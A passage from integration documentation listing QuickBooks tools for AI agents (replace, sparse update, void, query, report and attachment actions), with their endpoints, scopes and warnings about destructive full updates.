caller must restate the document, not just the part it wants to change — read it with quickbooks_get_estimate first and send back everything that should survive. Only the fields listed below can be set; anything outside that list is cleared by QuickBooks whatever the caller intended, which is why this action is flagged destructive and refuses to run without confirm=true. If all you need is a due date, a memo or a note, use quickbooks_update_estimate — it cannot lose anything. The record's current SyncToken is required and is not looked up automatically. POST /api/v1/tools/quickbooks/estimates/replace. Scopes: sales:replace. quickbooks_replace_invoice (write, destructive) — DESTRUCTIVE — replace the whole content of one invoice: its lines, its amounts and the party it belongs to. This is QuickBooks' FULL update and it behaves differently from quickbooks_update_invoice: Intuit sets every writable field this request omits to NULL, silently, answering 200. So the caller must restate the document, not just the part it wants to change — read it with quickbooks_get_invoice first and send back everything that should survive. Only the fields listed below can be set; anything outside that list is cleared by QuickBooks whatever the caller intended, which is why this action is flagged destructive and refuses to run without confirm=true. If all you need is a due date, a memo or a note, use quickbooks_update_invoice — it cannot lose anything. The record's current SyncToken is required and is not looked up automatically. POST /api/v1/tools/quickbooks/invoices/replace. Scopes: invoices:replace. quickbooks_replace_journal_entry (write, destructive) — DESTRUCTIVE — replace the whole content of one journal entry: its lines, its amounts and the party it belongs to. This is QuickBooks' FULL update and it behaves differently from quickbooks_update_journal_entry: Intuit sets every writable field this request omits to NULL, silently, answering 200. So the caller must restate the document, not just the part it wants to change — read it with quickbooks_get_journal_entry first and send back everything that should survive. Only the fields listed below can be set; anything outside that list is cleared by QuickBooks whatever the caller intended, which is why this action is flagged destructive and refuses to run without confirm=true. If all you need is a due date, a memo or a note, use quickbooks_update_journal_entry — it cannot lose anything. The record's current SyncToken is required and is not looked up automatically. POST /api/v1/tools/quickbooks/journal-entries/replace. Scopes: ledger:replace. quickbooks_replace_purchase (write, destructive) — DESTRUCTIVE — replace the whole content of one expense: its lines, its amounts and the party it belongs to. This is QuickBooks' FULL update and it behaves differently from quickbooks_update_purchase: Intuit sets every writable field this request omits to NULL, silently, answering 200. So the caller must restate the document, not just the part it wants to change — read it with quickbooks_get_purchase first and send back everything that should survive. Only the fields listed below can be set; anything outside that list is cleared by QuickBooks whatever the caller intended, which is why this action is flagged destructive and refuses to run without confirm=true. If all you need is a due date, a memo or a note, use quickbooks_update_purchase — it cannot lose anything. The record's current SyncToken is required and is not looked up automatically. POST /api/v1/tools/quickbooks/purchases/replace. Scopes: purchasing:replace. quickbooks_replace_purchase_order (write, destructive) — DESTRUCTIVE — replace the whole content of one purchase order: its lines, its amounts and the party it belongs to. This is QuickBooks' FULL update and it behaves differently from quickbooks_update_purchase_order: Intuit sets every writable field this request omits to NULL, silently, answering 200. So the caller must restate the document, not just the part it wants to change — read it with quickbooks_get_purchase_order first and send back everything that should survive. Only the fields listed below can be set; anything outside that list is cleared by QuickBooks whatever the caller intended, which is why this action is flagged destructive and refuses to run without confirm=true. If all you need is a due date, a memo or a note, use quickbooks_update_purchase_order — it cannot lose anything. The record's current SyncToken is required and is not looked up automatically. POST /api/v1/tools/quickbooks/purchase-orders/replace. Scopes: purchasing:replace. quickbooks_replace_refund_receipt (write, destructive) — DESTRUCTIVE — replace the whole content of one refund receipt: its lines, its amounts and the party it belongs to. This is QuickBooks' FULL update and it behaves differently from quickbooks_update_refund_receipt: Intuit sets every writable field this request omits to NULL, silently, answering 200. So the caller must restate the document, not just the part it wants to change — read it with quickbooks_get_refund_receipt first and send back everything that should survive. Only the fields listed below can be set; anything outside that list is cleared by QuickBooks whatever the caller intended, which is why this action is flagged destructive and refuses to run without confirm=true. If all you need is a due date, a memo or a note, use quickbooks_update_refund_receipt — it cannot lose anything. The record's current SyncToken is required and is not looked up automatically. POST /api/v1/tools/quickbooks/refund-receipts/replace. Scopes: sales:replace. quickbooks_replace_sales_receipt (write, destructive) — DESTRUCTIVE — replace the whole content of one sales receipt: its lines, its amounts and the party it belongs to. This is QuickBooks' FULL update and it behaves differently from quickbooks_update_sales_receipt: Intuit sets every writable field this request omits to NULL, silently, answering 200. So the caller must restate the document, not just the part it wants to change — read it with quickbooks_get_sales_receipt first and send back everything that should survive. Only the fields listed below can be set; anything outside that list is cleared by QuickBooks whatever the caller intended, which is why this action is flagged destructive and refuses to run without confirm=true. If all you need is a due date, a memo or a note, use quickbooks_update_sales_receipt — it cannot lose anything. The record's current SyncToken is required and is not looked up automatically. POST /api/v1/tools/quickbooks/sales-receipts/replace. Scopes: sales:replace. quickbooks_replace_vendor_credit (write, destructive) — DESTRUCTIVE — replace the whole content of one vendor credit: its lines, its amounts and the party it belongs to. This is QuickBooks' FULL update and it behaves differently from quickbooks_update_vendor_credit: Intuit sets every writable field this request omits to NULL, silently, answering 200. So the caller must restate the document, not just the part it wants to change — read it with quickbooks_get_vendor_credit first and send back everything that should survive. Only the fields listed below can be set; anything outside that list is cleared by QuickBooks whatever the caller intended, which is why this action is flagged destructive and refuses to run without confirm=true. If all you need is a due date, a memo or a note, use quickbooks_update_vendor_credit — it cannot lose anything. The record's current SyncToken is required and is not looked up automatically. POST /api/v1/tools/quickbooks/vendor-credits/replace. Scopes: purchasing:replace. quickbooks_run_query (read) — Run one read-only SELECT against the company file in QuickBooks' query language. This is the widest read available and it is now the LAST resort rather than the first: every entity has a shaped list action of its own, so an organisation can grant the reads a workflow needs and withhold this. QuickBooks' query language has no INSERT, UPDATE or DELETE form, and Agentic Fabriq additionally refuses anything that is not a single SELECT before the request leaves — so it is read-only and cannot change the books. GET /api/v1/tools/quickbooks/query. Scopes: accounting:read. quickbooks_run_report (read) — Run one of QuickBooks' own financial reports — profit and loss, balance sheet, cash flow, trial balance, AR/AP aging, general ledger, sales and inventory summaries. THIS IS THE ONE READ NO QUERY CAN REPLACE: a report is an aggregation Intuit computes from the ledger, not rows a SELECT can assemble, so without this action a profit-and-loss question is unanswerable. Read-only; the endpoint has no write form. The report name is constrained to the documented list, because the name is a PATH SEGMENT on an authenticated request and because a name outside the list is a 400 the agent cannot diagnose, where a refusal here names the valid set. GET /api/v1/tools/quickbooks/report. Scopes: reports:read. quickbooks_update_account (write) — Amend a named, fixed set of fields on one account, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is not exposed, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. NOTE, AND IT IS NOT BOILERPLATE: Intuit publishes a sparse update for eleven entities and a account is not one of them — the only update sample Intuit ships for it sets sparse to false. Agentic Fabriq sends the flag anyway and bounds the field list, and third-party SDKs send it for every entity, but nobody has run this against a live company file. If QuickBooks were to ignore the flag, the fields below would be all that survived on the record. Read the record back afterwards the first time you use it. POST /api/v1/tools/quickbooks/accounts/update. Scopes: lists:write. quickbooks_update_attachable (write) — Amend a named, fixed set of fields on one attachment, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is not exposed, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. NOTE, AND IT IS NOT BOILERPLATE: Intuit publishes a sparse update for eleven entities and a attachment is not one of them — the only update sample Intuit ships for it sets sparse to false. Agentic Fabriq sends the flag anyway and bounds the field list, and third-party SDKs send it for every entity, but nobody has run this against a live company file. If QuickBooks were to ignore the flag, the fields below would be all that survived on the record. Read the record back afterwards the first time you use it. POST /api/v1/tools/quickbooks/attachables/update. Scopes: attachments:write. quickbooks_update_bill (write) — Amend a named, fixed set of fields on one bill, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is a SEPARATE action (quickbooks_replace_bill), under a separate scope, flagged destructive, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. NOTE, AND IT IS NOT BOILERPLATE: Intuit publishes a sparse update for eleven entities and a bill is not one of them — the only update sample Intuit ships for it sets sparse to false. Agentic Fabriq sends the flag anyway and bounds the field list, and third-party SDKs send it for every entity, but nobody has run this against a live company file. If QuickBooks were to ignore the flag, this record's lines and amounts would be blanked. Read the record back afterwards the first time you use it. POST /api/v1/tools/quickbooks/bills/update. Scopes: purchasing:write. quickbooks_update_bill_payment (write) — Amend a named, fixed set of fields on one bill payment, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is a SEPARATE action (quickbooks_replace_bill_payment), under a separate scope, flagged destructive, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. NOTE, AND IT IS NOT BOILERPLATE: Intuit publishes a sparse update for eleven entities and a bill payment is not one of them — the only update sample Intuit ships for it sets sparse to false. Agentic Fabriq sends the flag anyway and bounds the field list, and third-party SDKs send it for every entity, but nobody has run this against a live company file. If QuickBooks were to ignore the flag, this record's lines and amounts would be blanked. Read the record back afterwards the first time you use it. POST /api/v1/tools/quickbooks/bill-payments/update. Scopes: purchasing:write. quickbooks_update_class (write) — Amend a named, fixed set of fields on one class, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is not exposed, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. NOTE, AND IT IS NOT BOILERPLATE: Intuit publishes a sparse update for eleven entities and a class is not one of them — the only update sample Intuit ships for it sets sparse to false. Agentic Fabriq sends the flag anyway and bounds the field list, and third-party SDKs send it for every entity, but nobody has run this against a live company file. If QuickBooks were to ignore the flag, the fields below would be all that survived on the record. Read the record back afterwards the first time you use it. POST /api/v1/tools/quickbooks/classes/update. Scopes: lists:write. quickbooks_update_company_currency (write) — Amend a named, fixed set of fields on one company currency, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is not exposed, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. NOTE, AND IT IS NOT BOILERPLATE: Intuit publishes a sparse update for eleven entities and a company currency is not one of them — the only update sample Intuit ships for it sets sparse to false. Agentic Fabriq sends the flag anyway and bounds the field list, and third-party SDKs send it for every entity, but nobody has run this against a live company file. If QuickBooks were to ignore the flag, the fields below would be all that survived on the record. Read the record back afterwards the first time you use it. POST /api/v1/tools/quickbooks/company-currencies/update. Scopes: lists:write. quickbooks_update_company_info (write, destructive) — DESTRUCTIVE — amend the company's own identity record: its trading name, contact email, phone and web address. These are the fields printed on every document a customer or supplier receives, so a wrong value here is visible outside the company before anybody notices. Sent as a SPARSE update, so fields not named survive. The accounting settings that live on the same record — above all FiscalYearStartMonth, and the company's country and legal name — are NOT settable through Agentic Fabriq: changing the fiscal year start redefines every reporting period the company has ever run, retroactively, and that is a decision with no document to point at afterwards. Requires the record's current SyncToken from quickbooks_get_company_info, and confirm=true. POST /api/v1/tools/quickbooks/company-info/update. Scopes: company:write. quickbooks_update_credit_memo (write) — Amend a named, fixed set of fields on one credit memo, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is a SEPARATE action (quickbooks_replace_credit_memo), under a separate scope, flagged destructive, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. NOTE, AND IT IS NOT BOILERPLATE: Intuit publishes a sparse update for eleven entities and a credit memo is not one of them — the only update sample Intuit ships for it sets sparse to false. Agentic Fabriq sends the flag anyway and bounds the field list, and third-party SDKs send it for every entity, but nobody has run this against a live company file. If QuickBooks were to ignore the flag, this record's lines and amounts would be blanked. Read the record back afterwards the first time you use it. POST /api/v1/tools/quickbooks/credit-memos/update. Scopes: sales:write. quickbooks_update_customer (write) — Amend a named, fixed set of fields on one customer, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is not exposed, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. POST /api/v1/tools/quickbooks/customers/update. Scopes: lists:write. quickbooks_update_department (write) — Amend a named, fixed set of fields on one department, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is not exposed, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. NOTE, AND IT IS NOT BOILERPLATE: Intuit publishes a sparse update for eleven entities and a department is not one of them — the only update sample Intuit ships for it sets sparse to false. Agentic Fabriq sends the flag anyway and bounds the field list, and third-party SDKs send it for every entity, but nobody has run this against a live company file. If QuickBooks were to ignore the flag, the fields below would be all that survived on the record. Read the record back afterwards the first time you use it. POST /api/v1/tools/quickbooks/departments/update. Scopes: lists:write. quickbooks_update_deposit (write) — Amend a named, fixed set of fields on one deposit, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is a SEPARATE action (quickbooks_replace_deposit), under a separate scope, flagged destructive, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. POST /api/v1/tools/quickbooks/deposits/update. Scopes: ledger:write. quickbooks_update_employee (write) — Amend a named, fixed set of fields on one employee, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is not exposed, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. NOTE, AND IT IS NOT BOILERPLATE: Intuit publishes a sparse update for eleven entities and a employee is not one of them — the only update sample Intuit ships for it sets sparse to false. Agentic Fabriq sends the flag anyway and bounds the field list, and third-party SDKs send it for every entity, but nobody has run this against a live company file. If QuickBooks were to ignore the flag, the fields below would be all that survived on the record. Read the record back afterwards the first time you use it. POST /api/v1/tools/quickbooks/employees/update. Scopes: lists:write. quickbooks_update_estimate (write) — Amend a named, fixed set of fields on one estimate, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is a SEPARATE action (quickbooks_replace_estimate), under a separate scope, flagged destructive, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. POST /api/v1/tools/quickbooks/estimates/update. Scopes: sales:write. quickbooks_update_exchange_rate (write, destructive) — DESTRUCTIVE — set the exchange rate between the company's home currency and one foreign currency, for one date. Every open balance in that currency on that date is re-valued by this, retroactively, and there is no document in the register to point at afterwards — which is why it is flagged destructive and requires confirm=true. Read the current rate with quickbooks_list_exchange_rates first: QuickBooks publishes no read-by-id for an exchange rate, so the list filtered to the currency is the only way to see what you are about to change. NOTE: the request shape below is built from Intuit's published sample and has not been run against a live company file. POST /api/v1/tools/quickbooks/exchange-rates/update. Scopes: ledger:write. quickbooks_update_inventory_adjustment (write) — Amend a named, fixed set of fields on one inventory adjustment, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is not exposed, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. POST /api/v1/tools/quickbooks/inventory-adjustments/update. Scopes: ledger:write. quickbooks_update_invoice (write) — Amend a named, fixed set of fields on one invoice, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is a SEPARATE action (quickbooks_replace_invoice), under a separate scope, flagged destructive, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. POST /api/v1/tools/quickbooks/invoices/update. Scopes: invoices:write. quickbooks_update_item (write) — Amend a named, fixed set of fields on one product or service, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is not exposed, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. NOTE, AND IT IS NOT BOILERPLATE: Intuit publishes a sparse update for eleven entities and a product or service is not one of them — the only update sample Intuit ships for it sets sparse to false. Agentic Fabriq sends the flag anyway and bounds the field list, and third-party SDKs send it for every entity, but nobody has run this against a live company file. If QuickBooks were to ignore the flag, the fields below would be all that survived on the record. Read the record back afterwards the first time you use it. POST /api/v1/tools/quickbooks/items/update. Scopes: lists:write. quickbooks_update_journal_code (write) — Amend a named, fixed set of fields on one journal code, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is not exposed, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. NOTE, AND IT IS NOT BOILERPLATE: Intuit publishes a sparse update for eleven entities and a journal code is not one of them — the only update sample Intuit ships for it sets sparse to false. Agentic Fabriq sends the flag anyway and bounds the field list, and third-party SDKs send it for every entity, but nobody has run this against a live company file. If QuickBooks were to ignore the flag, the fields below would be all that survived on the record. Read the record back afterwards the first time you use it. POST /api/v1/tools/quickbooks/journal-codes/update. Scopes: lists:write. quickbooks_update_journal_entry (write) — Amend a named, fixed set of fields on one journal entry, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is a SEPARATE action (quickbooks_replace_journal_entry), under a separate scope, flagged destructive, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. POST /api/v1/tools/quickbooks/journal-entries/update. Scopes: ledger:write. quickbooks_update_payment (write) — Amend a named, fixed set of fields on one payment, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is not exposed, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. NOTE, AND IT IS NOT BOILERPLATE: Intuit publishes a sparse update for eleven entities and a payment is not one of them — the only update sample Intuit ships for it sets sparse to false. Agentic Fabriq sends the flag anyway and bounds the field list, and third-party SDKs send it for every entity, but nobody has run this against a live company file. If QuickBooks were to ignore the flag, the fields below would be all that survived on the record. Read the record back afterwards the first time you use it. POST /api/v1/tools/quickbooks/payments/update. Scopes: payments:write. quickbooks_update_payment_method (write) — Amend a named, fixed set of fields on one payment method, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is not exposed, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. NOTE, AND IT IS NOT BOILERPLATE: Intuit publishes a sparse update for eleven entities and a payment method is not one of them — the only update sample Intuit ships for it sets sparse to false. Agentic Fabriq sends the flag anyway and bounds the field list, and third-party SDKs send it for every entity, but nobody has run this against a live company file. If QuickBooks were to ignore the flag, the fields below would be all that survived on the record. Read the record back afterwards the first time you use it. POST /api/v1/tools/quickbooks/payment-methods/update. Scopes: lists:write. quickbooks_update_purchase (write) — Amend a named, fixed set of fields on one expense, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is a SEPARATE action (quickbooks_replace_purchase), under a separate scope, flagged destructive, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. NOTE, AND IT IS NOT BOILERPLATE: Intuit publishes a sparse update for eleven entities and a expense is not one of them — the only update sample Intuit ships for it sets sparse to false. Agentic Fabriq sends the flag anyway and bounds the field list, and third-party SDKs send it for every entity, but nobody has run this against a live company file. If QuickBooks were to ignore the flag, this record's lines and amounts would be blanked. Read the record back afterwards the first time you use it. POST /api/v1/tools/quickbooks/purchases/update. Scopes: purchasing:write. quickbooks_update_purchase_order (write) — Amend a named, fixed set of fields on one purchase order, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is a SEPARATE action (quickbooks_replace_purchase_order), under a separate scope, flagged destructive, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. NOTE, AND IT IS NOT BOILERPLATE: Intuit publishes a sparse update for eleven entities and a purchase order is not one of them — the only update sample Intuit ships for it sets sparse to false. Agentic Fabriq sends the flag anyway and bounds the field list, and third-party SDKs send it for every entity, but nobody has run this against a live company file. If QuickBooks were to ignore the flag, this record's lines and amounts would be blanked. Read the record back afterwards the first time you use it. POST /api/v1/tools/quickbooks/purchase-orders/update. Scopes: purchasing:write. quickbooks_update_refund_receipt (write) — Amend a named, fixed set of fields on one refund receipt, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is a SEPARATE action (quickbooks_replace_refund_receipt), under a separate scope, flagged destructive, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. POST /api/v1/tools/quickbooks/refund-receipts/update. Scopes: sales:write. quickbooks_update_sales_receipt (write) — Amend a named, fixed set of fields on one sales receipt, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is a SEPARATE action (quickbooks_replace_sales_receipt), under a separate scope, flagged destructive, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. POST /api/v1/tools/quickbooks/sales-receipts/update. Scopes: sales:write. quickbooks_update_term (write) — Amend a named, fixed set of fields on one payment term, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is not exposed, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. NOTE, AND IT IS NOT BOILERPLATE: Intuit publishes a sparse update for eleven entities and a payment term is not one of them — the only update sample Intuit ships for it sets sparse to false. Agentic Fabriq sends the flag anyway and bounds the field list, and third-party SDKs send it for every entity, but nobody has run this against a live company file. If QuickBooks were to ignore the flag, the fields below would be all that survived on the record. Read the record back afterwards the first time you use it. POST /api/v1/tools/quickbooks/terms/update. Scopes: lists:write. quickbooks_update_time_activity (write) — Amend a named, fixed set of fields on one time activity, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is not exposed, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. NOTE, AND IT IS NOT BOILERPLATE: Intuit publishes a sparse update for eleven entities and a time activity is not one of them — the only update sample Intuit ships for it sets sparse to false. Agentic Fabriq sends the flag anyway and bounds the field list, and third-party SDKs send it for every entity, but nobody has run this against a live company file. If QuickBooks were to ignore the flag, the fields below would be all that survived on the record. Read the record back afterwards the first time you use it. POST /api/v1/tools/quickbooks/time-activities/update. Scopes: timetracking:write. quickbooks_update_transfer (write) — Amend a named, fixed set of fields on one transfer, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is not exposed, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. POST /api/v1/tools/quickbooks/transfers/update. Scopes: ledger:write. quickbooks_update_vendor (write) — Amend a named, fixed set of fields on one vendor, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is not exposed, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. NOTE, AND IT IS NOT BOILERPLATE: Intuit publishes a sparse update for eleven entities and a vendor is not one of them — the only update sample Intuit ships for it sets sparse to false. Agentic Fabriq sends the flag anyway and bounds the field list, and third-party SDKs send it for every entity, but nobody has run this against a live company file. If QuickBooks were to ignore the flag, the fields below would be all that survived on the record. Read the record back afterwards the first time you use it. POST /api/v1/tools/quickbooks/vendors/update. Scopes: lists:write. quickbooks_update_vendor_credit (write) — Amend a named, fixed set of fields on one vendor credit, leaving every other field exactly as it was. This is a SPARSE update: QuickBooks applies only the fields present in the request. The full-object update — which replaces the record and blanks every field the caller omitted — is a SEPARATE action (quickbooks_replace_vendor_credit), under a separate scope, flagged destructive, and the field list below is what keeps the two apart. Nothing here can change a document's lines, its amounts or which customer or vendor it belongs to. The record's current SyncToken is required and is not looked up automatically, so an agent must read the record immediately beforehand and cannot amend one that changed underneath it. NOTE, AND IT IS NOT BOILERPLATE: Intuit publishes a sparse update for eleven entities and a vendor credit is not one of them — the only update sample Intuit ships for it sets sparse to false. Agentic Fabriq sends the flag anyway and bounds the field list, and third-party SDKs send it for every entity, but nobody has run this against a live company file. If QuickBooks were to ignore the flag, this record's lines and amounts would be blanked. Read the record back afterwards the first time you use it. POST /api/v1/tools/quickbooks/vendor-credits/update. Scopes: purchasing:write. quickbooks_upload_attachment (write) — Attach one base64-encoded file to a QuickBooks record — a receipt behind an expense, a signed purchase order. Creates an Attachable, which quickbooks_delete_attachable can remove, so the loss is bounded. Size and MIME type are both capped; a file outside either is refused before anything leaves Agentic Fabriq. POST /api/v1/tools/quickbooks/attachments. Scopes: attachments:write. quickbooks_void_bill_payment (write, destructive) — DESTRUCTIVE — void one bill payment. There is no undo. A voided record keeps its number and stays in the books forever at zero, and its original amounts and lines are gone; restoring it means re-entering it by hand. Voiding is the AUDITABLE alternative to deleting: the document survives in the register where a deletion would leave a gap nobody can detect. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand and cannot void a record that changed underneath it. Sent as `operation=update&include=void`. POST /api/v1/tools/quickbooks/bill-payments/void. Scopes: purchasing:void. quickbooks_void_invoice (write, destructive) — DESTRUCTIVE — void one invoice. There is no undo. A voided record keeps its number and stays in the books forever at zero, and its original amounts and lines are gone; restoring it means re-entering it by hand. Voiding is the AUDITABLE alternative to deleting: the document survives in the register where a deletion would leave a gap nobody can detect. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand and cannot void a record that changed underneath it. Sent as `operation=void`. POST /api/v1/tools/quickbooks/invoices/void. Scopes: invoices:void. quickbooks_void_payment (write, destructive) — DESTRUCTIVE — void one payment. There is no undo. A voided record keeps its number and stays in the books forever at zero, and its original amounts and lines are gone; restoring it means re-entering it by hand. Voiding is the AUDITABLE alternative to deleting: the document survives in the register where a deletion would leave a gap nobody can detect. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand and cannot void a record that changed underneath it. Sent as `operation=update&include=void`. POST /api/v1/tools/quickbooks/payments/void. Scopes: payments:void. quickbooks_void_sales_receipt (write, destructive) — DESTRUCTIVE — void one sales receipt. There is no undo. A voided record keeps its number and stays in the books forever at zero, and its original amounts and lines are gone; restoring it means re-entering it by hand. Voiding is the AUDITABLE alternative to deleting: the document survives in the register where a deletion would leave a gap nobody can detect. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand and cannot void a record that changed underneath it. Sent as `operation=void`. POST /api/v1/tools/quickbooks/sales-receipts/void. Scopes: sales:void. ================================================================================ ## Radar URL: https://www.agenticfabriq.com/integrations/radar Section: Integrated Tools Radar — 40 MCP tools Provider key: 